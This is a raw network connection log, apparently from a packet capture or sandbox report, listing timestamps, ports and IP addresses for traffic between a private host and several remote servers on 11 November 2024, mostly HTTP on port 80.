Nov 11, 2024 21:59:21.365844965 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365858078 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365870953 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365886927 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365896940 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365899086 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365917921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365930080 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365940094 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365942955 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365957975 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365961075 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365983963 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366007090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366694927 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366707087 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366719007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366744995 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366756916 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366758108 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366770029 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366782904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366797924 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366805077 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366817951 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366841078 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366852999 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366864920 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366877079 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366884947 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366889000 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366902113 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366919041 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366919994 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.366929054 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.366959095 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367577076 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.367647886 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367660046 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367671967 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367702961 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367713928 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367724895 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367726088 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367738008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367750883 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367757082 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367779970 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367809057 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367815971 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367821932 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367835045 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367846012 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367847919 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367854118 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367861986 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367878914 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.367883921 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367892981 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367923975 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.367986917 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.369801998 CET	58736	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.392164946 CET	58739	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.392193079 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.393230915 CET	58739	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.393235922 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.393395901 CET	58736	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.393414021 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.393431902 CET	58736	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.393438101 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.404901028 CET	58738	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.404916048 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.405652046 CET	58738	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.405657053 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.405966043 CET	58740	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.405985117 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.406482935 CET	58740	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.406487942 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.456841946 CET	443	58735	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:21.456964970 CET	58735	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:21.457653046 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.460375071 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.475369930 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475399971 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475411892 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475461960 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475481987 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475492954 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475498915 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475505114 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475529909 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475548983 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475558043 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475559950 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475572109 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475584030 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475589037 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475601912 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475620031 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475652933 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475663900 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475673914 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475684881 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475683928 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.475691080 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475697041 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475704908 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475709915 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475735903 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475749969 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475755930 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475766897 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475792885 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475805044 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475826025 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475837946 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475850105 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475876093 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475898981 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.475913048 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475927114 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.475961924 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476027966 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476037979 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476069927 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476074934 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476080894 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476092100 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476104021 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476113081 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476125002 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476131916 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476135969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476160049 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476170063 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476170063 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476176977 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476187944 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476200104 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476205111 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476216078 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476217985 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476227045 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476242065 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476264954 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476366043 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476377964 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476388931 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476402044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476404905 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476413012 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476425886 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476428986 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476437092 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476453066 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476454020 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476465940 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476468086 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476476908 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476485968 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476490974 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476509094 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476510048 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476521015 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476521015 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476532936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476546049 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476564884 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476712942 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476725101 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476737022 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476754904 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476763964 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476780891 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476793051 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476804018 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476810932 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.476815939 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.476843119 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.477025986 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477037907 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477049112 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477061033 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477072954 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477073908 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.477081060 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.477085114 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477102041 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477111101 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.477113962 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477125883 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477134943 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.477138042 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.477149963 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.477174997 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480432987 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480551004 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480564117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480575085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480587006 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480600119 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480607033 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480633020 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480739117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480758905 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480772018 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480783939 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480784893 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480798006 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480814934 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480818987 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480832100 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480840921 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480843067 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480851889 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480859995 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480870962 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480880022 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480882883 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480900049 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480906963 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480912924 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480923891 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480925083 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480942011 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480946064 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480953932 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480967045 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.480978012 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.480999947 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481009960 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481106997 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481118917 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481129885 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481139898 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481142998 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481154919 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481194973 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481201887 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481210947 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481245995 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481251955 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481264114 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481275082 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481286049 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481309891 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481322050 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481332064 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481342077 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481354952 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481358051 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481379032 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481389046 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481400013 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481405020 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481410980 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481427908 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481431961 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481457949 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481484890 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481513023 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481525898 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481538057 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481549978 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481550932 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481561899 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481570005 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481583118 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481602907 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481606960 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481617928 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481627941 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481645107 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481647968 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481659889 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481662989 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481676102 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481687069 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481695890 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481707096 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481709003 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481719017 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481729031 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481734991 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481739044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481751919 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481759071 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481784105 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481810093 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481836081 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481848001 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481858969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481872082 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481882095 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481884003 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481894970 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481905937 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481906891 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481920004 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481921911 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481950998 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481971979 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.481985092 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.481997013 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.482007980 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.482018948 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.482018948 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.482029915 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.482042074 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.482043028 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.482054949 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.482074976 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.482079029 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.482091904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.482129097 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.487143040 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.487210989 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.487287045 CET	58739	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.494632959 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.494692087 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.494754076 CET	58738	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.495496035 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.495666981 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.495790005 CET	58740	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.502409935 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.502418041 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.502861023 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.527995110 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.528112888 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.528951883 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:21.556559086 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.556623936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.556634903 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.556646109 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.556663990 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.556669950 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.556674957 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.556687117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.556699991 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.556709051 CET	80	58697	185.215.113.206	192.168.2.5
